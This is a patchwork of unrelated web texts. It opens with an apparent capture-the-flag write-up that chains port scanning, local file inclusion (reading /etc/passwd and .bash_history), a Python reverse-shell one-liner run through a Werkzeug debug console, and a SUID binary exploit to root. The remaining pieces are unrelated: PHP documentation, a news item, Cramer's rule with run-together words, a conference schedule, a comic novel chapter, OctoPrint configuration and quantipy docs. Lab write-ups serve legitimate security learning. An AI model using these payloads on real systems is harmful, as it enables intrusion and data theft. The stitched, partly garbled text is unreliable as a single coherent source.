nmap -sV -sC -v -oN scan.txt <IP_ADDRESS>
Nmap 7.80 scan initiated Mon Nov 30 21:17:11 2020 as:
Increasing send delay for <IP_ADDRESS> from 0 to 5 due to 46 out of 151 dropped probes since last increase.
Nmap scan report for <IP_ADDRESS>
Host is up (0.095s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have SSH, a web service at port 80 and a web service at port 5000.
The main web app at port 80 was not very interesting. There was an endpoint /books.html
which displayed a random assortment of books by AJAX requests to an api running on port 5000. I decided to focus my efforts on port 5000 to enumerate the api.
When visiting http://$IP:5000
we get a static page which informs us about the following api endpoints:
/api/v2/resources/books/all (Retrieve all books and get the output in a json format)
/api/v2/resources/books/random4 (Retrieve 4 random records)
/api/v2/resources/books?id=1(Search by a specific parameter , id parameter)
/api/v2/resources/books?author=J.K. Rowling (Search by a specific parameter, this query will return all the books with author=J.K. Rowling)
/api/v2/resources/books?published=1993 (This query will return all the books published in the year 1993)
/api/v2/resources/books?author=J.K. Rowling&published=2003 (Search by a combination of 2 or more parameters)
I ran dirsearch on this port 5000 service:
Found interesting endpoint: http://<IP_ADDRESS>:5000/console
However, it requires a PIN to access it. Will come back to this, or try to find PIN.
All api endpoints that were provided, called /api/v2/...
I tried making calls to /api/v1/...
and this endpoint returned the same data as api/v2
This certainly caught my attention. Perhaps there are other endpoints at v1, or some vulnerability which was fixed in v2. I decided to look closer at the api calls made by the main website at /books.html
A quick look at the page source revealed that all static files were held under /assets/
I found file /assets/js/api.js
, which made the AJAX requests. At the very bottom of the source was a comment:
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.
My suspicions were correct. We know we have LFI, likely from a GET parameter.
I used arjun to look for parameters:
... and quickly discovered that the parameter show
was vulnerable to LFI:
http://<IP_ADDRESS>:5000/api/v1/resources/books?show=../../../../etc/passwd
Let's continue enumerating local files, and see if anything interesting exists.
In the working directory, I found user.txt and got the flag using with LFI:
http://<IP_ADDRESS>:5000/api/v1/resources/books?show=user.txt
I then looked at the users bash history and found the console PIN with LFI:
http://<IP_ADDRESS>:5000/api/v1/resources/books?show=.bash_history
I now had credentials for the console!
The console is simply a python interpreter. I was able to get a reverse shell by using:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
and using nc -lnvp 4444
locally to catch the reverse shell.
We are now logged in as user sid.
In /home/sid
there was an executable, try-harder
, with SUID bit. This means we can run this executable with root priveleges.
I ran strings on this executable and saw /bin/bash in the output, which tells me that we can get a root shell through this executable, somehow.
When running ./try-harder
we have the following prompt:
So now how do we find the magic number?
I disassembled the executable and started reversing.
In main, we use scanf
to get user input, xor the input with 0x1116
, xor the result of that with a local variable (in this case it is rbp-0x10, which is initialized with a value of 0x5db3
), and finally compare the result with 0x5dcd21f4
. If the result matches this constant, we have a root shell, otherwise the program says Incorrect Try Harder
and exits.
We have to solve the equation: $$ 0x5dcd21f4 = (input \oplus 0x1116) \oplus 0x5db3 $$
Using the identities, \(a \oplus a = 0\) and \(a \oplus 0 = a\), we can solve for input
:
$$ 0x5dcd21f4 = (input \oplus 0x1116) \oplus 0x5db3 $$
$$ input = 0x5dcd21f4 \oplus 0x5db3 \oplus 0x1116 $$
Giving this value in decimal representation to the executable gives us our root shell:
All that is left is to cat out the root flag:
cat /root/root.txt


Welcome to the official Heist Series website, as of right now it is still under construction, nut you can still find everything you need.
NAVIGATION GUIDE
To view the latest tournaments visit Schedule
For the latest scoop and patch notes visit News
To watch our latest videos, content, clips, and soon player and content creator highlights visit
Showcase
Trying to go from zero to hero? Check out the Frame Data section
To hit us up about anything smash the Contact page.
To learn more about what we do as a unit visit About Us


Drive collaboration and innovation. It encourages employees to question and communicate, problem solve, and pool talents and strengths. Org Chart is one main hub for a business to see all of its employees requests, and allows them to handle them.
Learn More Today
Join now and make workflow for both team members and administrators/managers SIMPLE. It helps break down silos between departments, and, especially important if you’re running a virtual or global company, allows employees to connect, work, and share ideas at any time, and from anywhere.
Learn More Today


resource pg_query_params ([ resource $connection ], string $query , array $params )
Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text. pg_query_params() is like pg_query(), but offers additional functionality: parameter values can be specified separately from the command string proper. pg_query_params() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions. If parameters are used, they are referred to in the query string as $1, $2, etc. params specifies the actual values of the parameters. A NULL value in this array means the corresponding parameter is SQL NULL. The primary advantage of pg_query_params() over pg_query() is that parameter values may be separated from the query string, thus avoiding the need for tedious and error-prone quoting and escaping. Unlike pg_query(), pg_query_params() allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)
A query result resource on success or FALSE on failure.


Fizz Buzz
In this game, you enter a positive number, and I count from 0 to that number, subbing in "fizz" if it's divisible by 3, "buzz" if it's divisible by 5, and "fizzbuzz" if it's divisible by both
In this game, you enter a positive number, and I count from 0 to that number, subbing in "fizz" if it's divisible by 3, "buzz" if it's divisible by 5, and "fizzbuzz" if it's divisible by both


Lawmakers to take look at early voting in New York
by Associated PressNEW YORK (AP) — New York is taking a look at how its first experiment with early voting went.
The Democratic-led Legislature is holding a Wednesday hearing on the start of early voting in New York this month.
New York introduced its new system in a quiet election year, ahead of the 2020 presidential contest.
New Yorkers raised concerns about costs, the roll-out of electronic voter rolls and the location of early voting sites.
The state Board of Elections has said over 256,000 people cast their ballots before Election Day between Oct. 26 and Nov. 3 under early voting.
It’s unclear just what impact early voting had on turnout. Some experts say early voting could be just another option for voters who otherwise would have turned out on Election Day.


If we have a system of linear equations which can be written Ax=b, then Cramer’s rule can tell us how to find the components of x, as long as A is an invertible matrix.
Let D=|A|, the determinant of A.
Let A1 be a matrix which is formed from A by replacing the 1st column with the vector b. Similarly let A2 be a matrix which is formed from A by replacing the 2nd column with the vector b.
Now let D1 = ∣A1∣, thedeterminantofA1, etc.
Then if we write x like $ \left( \begin{array}{c} \mathrm{x}_1 \\ \mathrm{x}_2 \\ \mathrm{x}_3 \end{array} \right), $ we have:
$$\begin{aligned}
x_{1}&=&D_{1}/D,\\
x_{2}&=&D_{2}/D,\end{aligned}$$
etc.


--- title: Request Matchers layout: page pageOrder: 4.4 section: 'Mock Server' subsection: false ---
Requests can be matched on:


I am always sharpening my skills and cracking open the books in my spare time. I love knowledge and am permanently motivated to pick up more.
I love to see smiles on peoples' faces.
So why would I ever want to create something that I am not proud of?
Do you want someone that is uninspired working for you?
I didn't think so.
I love what I do, and am always striving to improve.


{% highlight html %}
Drag & drop images and videos to reorder them within the carousel. The first one will be considered as the preferred one. The maximum file size for uploads is 8 MB


--- layout: customer-service lang: en permalink: /mexico/customer-service/index1.html alternate_en: /mexico/customer-service/ alternate_mx: /mx/servicio-cliente/ published: true body_class: custsvc title: Mexpro's Outstanding Customer Service Team Will Help You | Mexpro excerpt: If you need to make a change to your Mexico insurance policy, Mexpro's customer service team makes it easy. You can call, chat, or email us. We can cancel, change, send you your policy and more. ---
Email us<EMAIL_ADDRESS>Call us toll free 1-855-MEXPRO1
We understand that life happens and plans change. Cancellations can be done by using our online cancellation form.
If you need to make changes on your Mexico insurance policy, you can do so by simply filling out the online forms.
If you cancel a policy rior to it being in use, you will receive a full refund. If the policy is in effect, daily policies, six month policies over 20 days, annual policies over 30 days, and the policy fees are not refundable. Six-month and annual policies are discounted and will be prorated per the terms and conditions of the policy.
Prior to the policy being in use, you will receive a full refund. If the policy is in effect, cancellations are prorated per the terms and conditions of the policy.
[IN MEXICO]
At the scene of the accident, prior to leaving, call the toll free number listed on your policy. The claims reporting toll free number will only work from a Mexico land line or a cell phone with a Mexico calling plan.
[BEFORE YOU LEAVE MEXICO]
When the adjuster arrives, have your policy, registrations, and drivers license available. Keep a copy of the adjusters accident report and any police reports.
[ONCE BACK IN THE U.S./CANADA]
Call the Mexico Insurance Company's U.S./Canada toll free number and have your claims and policy number available.
Report your claim if you have a loss to your property which exceeds your deductible by calling our toll free number 01<PHONE_NUMBER>, or from the U.S./Canada you can call 011-52-555-227-9000. Follow the instructions provided in your terms and conditions or call us at 855-MEXPRO1.


Browse Templates
About
Make a selection from the menu to the left.
Templates
Viewer
Info
Ex-Vivo DTI
Ex-Vivo T2
In-Vivo DTI
In-Vivo T2
Segmentation
FA
Trace
DEC Map
10 ms
20 ms
30 ms
40 ms
50 ms
60 ms
70 ms
80 ms
90 ms
100 ms
FA
Trace
DEC Map
12 ms
36 ms
60 ms
84 ms
Ex-Vivo DTI
In-Vivo DTI
Modality
ROI
FA
TR
Statistics
Histogram
MRI Atlases
Data request form
First Name
Last Name
E-Mail
Institution
Usage Description:
Success
Thanks for contacting us, we will get back to you shortly.
Send
>
MRI Atlases
ROI Feedback form
First Name
Last Name
E-Mail
Institution
ROI Description:
Success
Thanks for submitting your suggestion, we will get back to you shortly.
Send


Feyenoord boss Dick Advocaat 'didn't notice' Rangers striker Alfredo Morelos... apart from his two goals
by Angus WrightFeyenoord boss Dick Advocaat claimed he barely noticed Rangers striker Alfredo Morelos last night - apart from netting the brace that earned the Light Blues a point in Rotterdam.
The Dutch side took a half-time lead at De Kuip thanks to Jens Toornstra's deflected strike and had to rely on Luis Sinisterra to avoid defeat after compatriot Morelos had scored a quickfire brace to put the Gers in front.
Feyenoord can still reach the knockout stages but former Ibrox boss Advocaat needs his team to overcome Porto in Portugal - and hope his old side do them a favour against Swiss outfit Young Boys.
“We knew Stevie [Gerrard] would say something to them at half-time but they had more possession without clear chances,” Advocaat said after the match.
“Their striker [Morelos] is a great striker because he scored two goals, but for the rest of the time I didn’t see him.
“He is still a good striker. That makes the difference.”


Corrections or additions to these lists are welcome!
Useful external links
- OSGi home page
- The OSGi consortium, defining the OSGi specification.
Of special interest for developers is the complete R4 and R3 specification.
- OSGi Blog
- Peter Kriens Blog on OSGi.
- OSGi R3 javadocs
- Javadocs for the OSGi framework (+ Knopflerfish extras).
- OSGi R4 javadocs
- Javadocs for the OSGi framework (+ Knopflerfish extras).
- Official OSGi Bundle Repository
- An aggregated bundle repository, available via OBR.
- Oscar Bundle Repository
- A lot of bundles, available via OBR.
- Oscar OSGi Framework
- Oscar is an OSGi implementation by Richard S. Hall, available under the Apache Software License.
- Oscar developer's mailing list
- This list contains quite a lot of useful info for bundle developers.
- Jeffree OSGi framework
- Jeffree (Java Embedded Framework FREE) is an OSGi implementation, available under the GNU Lesser General Public License (LGPL)
- aQute
- Peter Kriens at aQute has been one of the driving forces behind OSGi
and keeps lots of useful information.
- Eclipse tool platform
- The Eclipse platform now uses OSGi as its internal plugin mechanism.
The core in Eclipse is called Equinox, and the
eclipse.technology.equinox newsgroup at news.eclipse.org discusses OSGi frequently.
- Possio developer's zone
- Possio develop and market Wireless Router products that interconnects between cellular data networking and local wireless technologies like WLAN and Bluetooth. The Possio PX30 is a wireless gateway running OSGi.
- OSGi Testbed suit at OS4OS
- OSGi Testbed Site with OSGi news.
- Fun with OSGi
- Blog mostly about OSGi Service Bundle development, but a bit about embedded systems programming can also be expected.
- Eclipse 3.0 and OSGi
- Eclipse 3.0 and OSGi: A New Standards-Based Architecture at the Heart of IBM's WebSphere Client Technology (devx.com article)
External project using Knopflerfish
- Jadabs
- Jadabs stands for Java ADhoc Application Bootstrap. It is a small footprint container for mobile devices, and uses KF as core framework.
- Makewave's Knopflerfish Pro
- Knopflerfish Pro is the commercial edition of Knopflerfish, an R4 certified product.
Other related projects
- Physalis
- Physalis is an OSGi implementation for the .NET (Compact) Framework.


Updating the Site
How to update the CanJS website.
canjs.com is hosted on GitHub pages from the canjs/canjs#gh-pages branch. To generate and push a new version of the website, verify you have push access to that branch. Then get all latest changes via:
git checkout master
git fetch --all && git rebase
npm cache clean
rm -rf node_modules
We also have to delete the local gh-pages
branch:
git branch -D gh-pages
Then run
make
This will generate and publish a new version of the website.


{% extends "base/base.html" %} {% block content %}
Choose any of the views for preview to get started! Don't see what you are looking for? let us know!


Comments
-
Greg Hurrell
I can't reproduce this problem.
-
Brett C
I am running 10.3.8 if that helps any. I also have not rebooted since installing Synergy 1.8.1 in case that makes a difference.
I did try relaunching iTunes already.
-
Joshua Puetz
I'm seeing this bug as well on OS X 10.3.9 and Synergy 1.8.1 using Growl. Hitting play shows correct album art. Hitting forward to skip to the next song shows artwork from song #1. Fast forward to song
- 3 shows art from song #2, etc. If you hit pause, the artwork catches up to song #3. Hit play and
artwork remains correct. Fastfoward to song #4, and the bug reappears with the artwork from song #3 displaying.
This works in reverse as well. Play song #1, artwork correct. Fastforward to song #2, art for song #1 displays. Reward to song #1, art for song #2 displays.
-
Brett C
Crap, forgot to mention I was running Growl. Sorry about that, Wincent.
-
Greg Hurrell
Can you try to do some isolation to see if the problem is present when you do things like: try from another user account; drag the preferences file out onto the desktop and restart Synergy; try without Growl etc. I definitely can't reproduce the problem, so we need to figure out under exactly which circumstances it occurs.
More tips here:
http://wincent.com/a/knowledge-base/archives/2004/11/how_to_file_a_g.php
-
Brett C
I only have a single account on my machine (and installed on to run only on my account anyway) so I can't test that.
With Synergy turned off for Growl usage and going to back to Synergy's floater the problem goes away.
Dragging out my plist file, stopping Synergy, relaunching (and it was confirmed it was a new plist being used since it popped up that Synergy was shareware and I have a registered copy), and turning Growl back on reproduces the problem.
Growl is 0.6.1 on my machine (installed from DarwinPorts if that makes a difference, which it shouldn't).
-
Greg Hurrell
(In reply to comment #6)
I only have a single account on my machine (and installed on to run only on my account anyway) so I can't test that.
You could also create one if you have administrator privileges and the delete it afterwards if you don't want the extra account on the machine. From the sounds of it though it looks like Growl is the key factor and not anything specific to your account. In other words it would happen in any account with Growl installed.
With Synergy turned off for Growl usage and going to back to Synergy's floater the problem goes away.
Your original summary said "album cover in floater". Can you clarify whether the wrong cover is in the Synergy floater, the Growl notification, or both? I've reworded the summary to reflect what my understanding of the issue is.
If this is a Growl-only problem it should be fairly easy to fix.
-
Brett C
Yep, your clarification is correct. Sorry again; too loose with terminology. I have the floater provided by Synergy turned off. This is all about the Growl notification.
-
Greg Hurrell
Ok, I think I've fixed this now.
-
Greg Hurrell
If you want to test out the new build try downloading this one:
http://us.wincent.com/a/products/synergy-classic/download/Synergy1.8.1.dmg
-
Brett C
Cool! Other than having to enter my serial again it works fine! I consider the bug fixed (fought the developer in me to close it myself since I don't know if you leave them open to remind you what has been fixed between versions and such).
Thanks for the prompt work, Wincent. Looking forward to seeing Synergy Advance and expexting to shell out 7€ for it.
-
Greg Hurrell
I used to close stuff as soon as it was fixed, but my current policy is to leave bugs open with the "fixed- in-prerelease" keyword set until the new version is released. This is because Bugzilla by default searches only open bugs; if the fixed bugs wind up as closed before the new version comes out I therefore end up getting lots of duplicate bug reports...
-
Jason W
I experience this same problem in OS X 10.3.8 and Synergy 1.8.1. When I use Synergy's hot key to advance to the next track, or when iTunes changes tracks automatically, the album art in my Growl notification shows the album that was previously playing. The floater, should I choose to display it, shows the correct art.
-
Greg Hurrell
Jason, if you read the comments you'll see that this is already fixed.
Add a comment
Comments are now closed for this issue.


Write the Docs is a two-day conference focused on documentation systems, tech writing theory, and information delivery.
Writing and maintaining documentation involves the talents of a multidisciplinary community of technical writers, designers, typesetters, developers, support teams, marketers, and many others.
This conference creates a time and a place for this community of documentarians to share information, discuss ideas, and work together to improve the art and science of documentation.
We invite all those who write the docs to spread the word:
Docs or it didn't happen!
Sign up for the mailing list to get announcements and updates about the conference.
Check out the full talk descriptions here.
Join us for a Pre-Registration event at Prezi held from 17:00-19:00. Grab your badge and shirt early, and get to know other documentarians with provided drinks.
Sponsored by Prezi
| Time | Talk |
|---|---|
| 8:00 | Venue Open |
| 8:15 | Breakfast |
| 9:00 | Eric Holscher - Introduction |
| 9:20 | Kelly O’Brien - Engage or Die: Four Techniques for Writing Indispensible Docs |
| 10:00 | Shwetank Dixit - Challenges and approaches taken with the Opera Extension Docs |
| 10:20 | Break |
| 10:40 | Idan Gazit - Advanced Web Typography |
| 11:20 | Markus Zapke-Gründemann - Writing multi-language documentation using Sphinx |
| 12:00 | Lunch |
| 13:00 | Lightning talks |
| 13:30 | Thomas Parisot - README Driven Development |
| 13:50 | Jannis Leidel - Search and find. How we made MDN discoverable |
| 14:20 | Break |
| 14:50 | Jessica Rose - Tone in Documentation |
| 15:30 | David Hooker - What I have taught developers about writing |
| 16:10 | Party Announce, etc |
| 16:30 | End |
| 19:00 | Conference Party |
Sponsored by WordPress.com
| Time | Talk |
|---|---|
| 8:00 | Venue Open |
| 8:15 | Breakfast |
| 9:15 | Announcements |
| 9:20 | Tom Christie - Designing MkDocs |
| 10:00 | Robert Lehmann - Self-Directed Learning Material |
| 10:20 | Break |
| 10:40 | Sebastien Goasguen - Going from Publican to Read the Docs |
| 11:00 | Christine Burwinkle - Pairing with designers to create a seamless user experience |
| 11:40 | Elizabeth Urello - Blogging as Non-Traditional Support Documentation |
| 12:00 | Lunch |
| 13:00 | Lightning talks |
| 13:30 | Fintan Bolton - The community wrote my docs! |
| 13:50 | Kristof Van Tomme - Keeping trust: Testing documentation as part of a continuous integration process |
| 14:20 | Break |
| 14:50 | Mikey Ariel - Your Personal Tech-Writing Agile Manifesto (or: Scrum is not a 4-character word) |
| 15:30 | Swizec Teller - What I learned writing a lousy tech book |
| 15:50 | Eric Holscher - Closing Remarks |
| 16:10 | End |
| 19:00 | GitHub Drinkup |
Budapest is a beautiful and historic city. We are excited to host our first European conference here.
Prezi’s Budapest headquarters, the House of Ideas, serves as our 2014 venue. The House of Ideas boasts unique architecture, modern design, and a devoted space for conferences. Prezi’s home gives us a fitting environment to come together and talk about making documentation great.
More information can be found on the Write the Docs EU 2014 Venue page, including more images, accommodation, and travel details.
We have also compiled a map that shows some great places in town. Check out our recommendations and enjoy your stay in Budapest.
We are seeking corporate partners to help us create the best conference possible. Please act fast, the time is nigh and sponsorships are limited.
For more information please contact us.
If you have any questions or concerns, please email us.


* unspeakable desolation pouring down from the stars *
CHAPTER SIX
I WAS SITTING IN an extremely comfortable armchair. Unseen hands had removed the corks from my ears and the blindfold from my eyes. To my right stood a delicately-latticed birdcage in which a chaffinch tweeted. To my left, a tattooed thug brandished a pointed stick. In front of me, ten people dressed entirely in black sat behind a long wooden table: each sported a turquoise badge, pinned over their hearts. The table was cluttered with incomprehensible paraphernalia.
"We are the Turquoise Badge Ten," said the person fifth from the left. I can't say I was surprised. "Each of us will ask you one question," she continued, "You will answer the questions fully and frankly.
If you have ever found yourself in a situation remotely similar to this, you will understand why my immediate reaction was to ask where the lavatory was. All ten of them sighed as one, as if they were used to such shenanigans. The thug pointed to a yellow painted arrow on the floor.
"Follow the arrows," he said, "And come right back."
The lavatory was at the end of a twisting series of corridors. There were five cubicles and a single urinal. When I had poohed, flushed, and washed my hands at the strangely gigantic sink, it struck me that there was nothing to stop me roaming at will through the HQ until I saw fit to return to my interrogation. Leaving the lavatory, I pranced off down yet another corridor, and pushed open the first door I came to.
The room I entered was dark and dingy. I was unable to find a light-switch, so I closed the door behind me and waited until my eyes had got used to the gloom. Before they had done so, I was almost overpowered by the unmistakeable smell of hamster. I held a kerchief over my nose and gagged. Why had I not noticed the stench as soon as I opened the door? Oh, let's just say I forgot to mention it.  Was there anything here worthy of my attention? No.
Back in the interrogation room, I found that the thug had been replaced by a coeval, fairer of complexion, and armed with a proper spear rather than a pointed stick.
"You were gone rather longer than we expected," said one of the Turquoise Badge Ten, "We sent our other thug off to track you down."
"I got a bit lost," I explained.
"Wool cannot be pulled over our eyes," I was told, "Bear that in mind."
"Right," I said, sitting down hurriedly in the armchair seconds before Thug Number 2 was about to manhandle me into it. "We will each now ask you a question," said the one furthest to the right, "I will go first. What is your name?"
"Ignatz Milkbone," I lied: it was, of course, an anagram. The fact that not one of the Ten batted an eyelid reassured me: apparently it was possible to pull wool over their eyes. I can be quite naive, I'm afraid.

Damn! Maybe they weren't as credulous as I had thought.
"Er," I mumbled, "It was given to me by a friend as an, um, St Septimus' Day present. If I hadn't stuck it to my upper lip with industrial-strength adhesive, he'd have been heartbroken. Hm. I can see that you're not convinced. Shall I try again? Be full and frank, you said. The moustache is part of my Tip-Top Disguise Kit. Before setting out from home, I adopted a variety of devices designed to conceal my true identity."
Feeling rather foolish, I detached the moustache, removed the wads of cotton wool which I had wedged inside my mouth to puff out my cheeks, and took off the clear-glass spectacles set in violent crimson frames which I had been wearing since I set out on my adventure. Scarcely had I done so than the third question was rapped at me.
"Have you ever read The Dictionary of Stains by Walter Mad?"
There was no need to think up a pack of lies this time. I had never even heard of the book.
"During your journey here, on the Thursday night when you camped on a knoll next to the Great Frightening River, our special agent went through your pockets. Among the items which he has brought to our attention is a commemorative postage stamp depicting the captain of the winning team in the 1904 Hooting Yard Water-Tennis Championship. The cancellation is rather smudged. We believe that the stamp is one of a set belonging to a client of ours. Would you care to tell us how it came into your possession?"
"Certainly," I replied, eager to please. "It is a stamp I have always treasured. It was given to me by a school-friend. He was lanky, and covered in boils. His name is [forgotten, alas!], and I believe he is the nephew of the philatelist Istvan Plunkett."
I was rather pleased with my reply. It was honest, for one thing, and it contained little details which I hoped would ingratiate me with my questioners. They did not stir: I might as well have been prating in a foreign tongue.
"The fifth question is not, strictly speaking, a question at all. It is more in the way of a command. Tell us everything you know about Istvan Plunkett."
"Oh, I could go on for hours," I replied, "I have read, what, three or four biographies of that towering figure."
"Tell us everything you know," the speaker repeated.
I was not exaggerating when I said I could go on for hours. By the time I had reached the exciting story of Plunkett's trip to Iceland when he was seventeen, the thug had dozed off. The Turquoise Badge Ten were surprised, I think, at the breadth of my erudition. I could not have done better had I been Plunkett himself. I knew all about the blotting paper scandal, the woodland hike which ended with the accidental death of Plunkett's mentor and champion, Father Pod, the rigours of his boating, the weft of his tunics, the grease on his sister's lantern: I went on and on, so much so that the thug had to be roused to fetch me a glass of water. Eventually, one of the Ten held up her hand and bid me cease.
"Wait, wait!" she cried, "This is most interesting, but I think we have heard enough for one day. Let us retire to our hammocks, and reconvene in the morning."
I had no idea what time it was: the special agent had pocketed my tin-and-titanium alarm clock. The Turquoise Badge Ten filed out of the room, and, at a prod from the thug's spear, I followed them. We passed down the twisting corridors to the Chamber of Hammocks, a lushly-carpeted room in which a dozen hammocks had been strung up in a neat row. I was guided to mine by the thug, but before I could clamber into it, one of the Ten held aloft a Vitus Bering Pennant and everyone else in the room stood to attention. I thought it best to ape them.
"Let us sing a sea shanty!" shouted the pennant-bearer, whereupon the lot of them, thug included, burst into song.
Yo ho ho! Land ahoy! Paint the deck with varnish!
We've been at sea for twenty years and we've run out of rum.

The captain's beard is caked with salt, his timbers have been shivered.
 The wood is surely rotten.
The whole hulk stinks of mouldy meat and half the crew has scurvy.
We shall dock in half an hour, if they'll let us in.
If they won't, just you watch, we'll start our cannons roaring.
The harbourmaster's flying flags, not one of them's a white one.
One's got a plague warning writ upon it, and one's stained red for danger.
Yo ho ho! We'll sail on! There is no berth here for us.
We have no berth in any port, but what the hell, life is short,
We'll sail upon these ugly seas until we're stricken by disease,
Until each crewman's sickened and died, each corpse been hurled over the side,
And washed to shore on the high tide, and washed to shore on the high tide.
And with that, they all tumbled into their hammocks and started to snore. They made such a din that I couldn't be bothered to even try to sleep. Instead, I crept tippy-toes out of the room and scurried along the corridors until I found a cocoa-dispensing machine. I started to read the instructions, but they were so complicated that I gave up, and extricated a steaming hot plastic tumbler of cocoa by means of a few well-aimed kicks and a great deal of shaking and clattering.
Squatting on the floor, I reviewed the situation. The Turquoise Badge Ten, Walter Mad, and Istvan Plunkett: all of them were in some way connected with the purloined stamp collection. Fig-like, I leapt intuitively to a theory. Indefatigable collector that he was, I conjectured, Plunkett had an obsessive desire to own Mister Patch's pre-adhesive album: the Ten were charged with the task of obtaining it for him. They in turn employed Walter Mad as their agent. If this was the case, I was wasting my time - and possibly risking my life - by remaining at the HQ. I had to track down Plunkett, obviously. Draining my cocoa-tumbler, I got to my feet, and capered off down the gas-lit corridor to find the way out.
* a novel by frank key *


Created by Gina Häußge / @foosel
Just put the printer somewhere it doesn't disturb anyone, like the shed, the basement or a spare bathroom.
But actually watching it print is so mesmerizing and calming, and I also want to make sure nothing goes wrong!
So I can just put it somewhere within my Wifi's range and be able to access it without spending too much money on this convenience.
So I can always be sure that it's doing what it's supposed to be doing.
So I can still watch the printer do its magic.
So that I can quickly check up on it from any of my devices without the need to install anything.
All this in a responsive web interface using modern web technologies that ensure an experience just like on the desktop.
... and much more
Patches welcome! :)
With OctoPi there's a dedicated distribution for the Raspberry Pi, created by +Guy Sheffer:
Or you can always install from source:
Website:
octoprint.org
Github (Source, Bugtracker, Wiki):
github.com/foosel/OctoPrint
events:
systemCommandTrigger:
- event: MovieDone
command: 'youtube-upload --email="<yourUser>"
--password="<yourPassword>"
--title="Timelapse: %(filename)s"
--description="Timelapse of %(filename)s, printed and recorded
via OctoPrint"
--category="Tech"
--keywords=OctoPrint "%(data)s"'
(Using youtube-upload)
- event: PrintDone
command: curl -s
-F "token=<yourApiToken>"
-F "user=<yourUserToken>"
-F "message=Completed %(filename)s"
-F "title=OctoPrint"
https://api.pushover.net/1/messages.json
(Using Pushover)
- event: PrintDone
command: curl -s
-F "userId=<yourUserId>"
-F "userToken=<yourUserToken>"
-F "title=OctoPrint"
-F "body=Print of %(filename)s completed"
-F "type=notification"
https://ofkorth.net/pebble/send
(Using Pebble Connect with httpebble)


Welcome to Conquest of the Mongols, a choose-your-adventure game designed by Sean Snider for a class at Duke University called "Between Moscow, Beijing, and Delhi", taught by Dr. Mustafa Tuna.
In this game, you will be faced with a series of decisions, and what you pick has consequences. There are two levels. On Easy, you will attempt to save your civilization from the Mongols, and on Hard you play as the conquering Mongols.
First, choose your level.
- Easy - You will play as Shah Ala ad-Din Muhammad of the Khwarazmian Empire. You have heard rumors of a nomadic society growing extremely powerful in the steppes to your west. Can you avoid getting wiped from the history books by a Mongol invasion?
- Hard - You are Genghis Khan himself, and your goal is to conquer the Jin Dynasty in modern-day China. Although the conquest was not fully finished until after Genghis Khan's death, he planted the seeds for Mongol rule in China.


| class: | quantipy.Quantity(link, weight=None, xsect_filter=None) |
|---|
The quantipy.Quantity object consists of a matrix-like 1/0 representation of the case data alongside simple, yet flexible manipulation and analysis methods. Since Quantity effectively converts each variable into its dummy equivalent, Quantipy handles e.g. multiple choice variables natively, i.e. as if they were “regular” ones. Data aggregation is implemented using the numpy library’s vectorization and broadcasting features to offer support for the full range of statistical analyses using arbitray case record weights. The data conversion can be illustrated as follows:
----------------------------
| xsect | ysect | wv |
============================
| 1 2 3 4 5 | 1 2 3 | |
============================
| 0 1 0 0 0 | 0 1 0 | 1 |
----------------------------
| 0 0 1 0 0 | 1 1 1 | 1 |
----------------------------
| 0 0 0 0 1 | 0 0 1 | 1 |
----------------------------
| ... ... . | ... ... |.. |
----------------------------
xsect and ysect are the x- and y-variables dummy components of the matrix, wv is a corresponding weight vector (or just a vector of 1-entries if no weight is selected). Generating a Quantity object by is done by passing a Quantipy.Link (and an optional weight variable) to its constructor. Inspecting a new Quantity instance will show:
>>> link = stack[name_project]['no_filter']['q8']['gender']
>>> q = qp.Quantity(link)
>>> q
<class 'quantipy.core.quantify.q.Quantity'>,
x: q5_1, xdef: [1, 2, 3, 4, 5, 97, 98] y: gender, ydef: [1, 2], w:@1
The data’s matrix representation is accessed via the matrix property. As the matrix is of type numpy.ndarray a quick look at its shape helps to demonstrate the basic data concept:
>>> q.matrix
[[ 0. 0. 0. ..., 1. 0. 1.]
[ 0. 0. 0. ..., 0. 1. 1.]
[ 1. 0. 0. ..., 1. 0. 1.]
...,
[ 0. 0. 0. ..., 0. 1. 1.]
[ 1. 0. 0. ..., 0. 1. 1.]
[ 0. 1. 1. ..., 0. 1. 1.]]
>>> q.matrix.shape
(2367, 10L)
We can see that the matrix shows data for 2367 row entries (the cases) and the sectional definitions of the columns reflects the information from above: q.xdef has a length of 7, q.ydef one of 2 and the weight vector (in this unweighted example only consisting of 1-entries) sums it up to 10.
| method: | quantipy.Quantity.count(show='freq', margin=True, as_df=True) |
|---|
Using count() allows to quickly produce contigency table analyses on data distributions:
>>> link = stack[name_project]['no_filter']['q8']['gender']
>>> q = qp.Quantity(link, 'weight_a')
>>> q.count()
Question gender
Values 1 2 All
Question Values
q8 All 1156.803818 1102.965971 2259.769789
1 449.982974 420.299580 870.282554
2 129.877415 105.438740 235.316156
3 270.823427 261.132200 531.955628
4 466.994617 438.363240 905.357857
5 619.453850 585.361892 1204.815742
96 144.078833 118.023747 262.102580
98 24.899174 16.923248 41.822422
By providing margin=False in the method call, the ‘All’-margins that show the column and row base sizes are omitted from the output:
>>> q.count(margin=False)
Question gender
Values 1 2
Question Values
q8 1 449.982974 420.299580
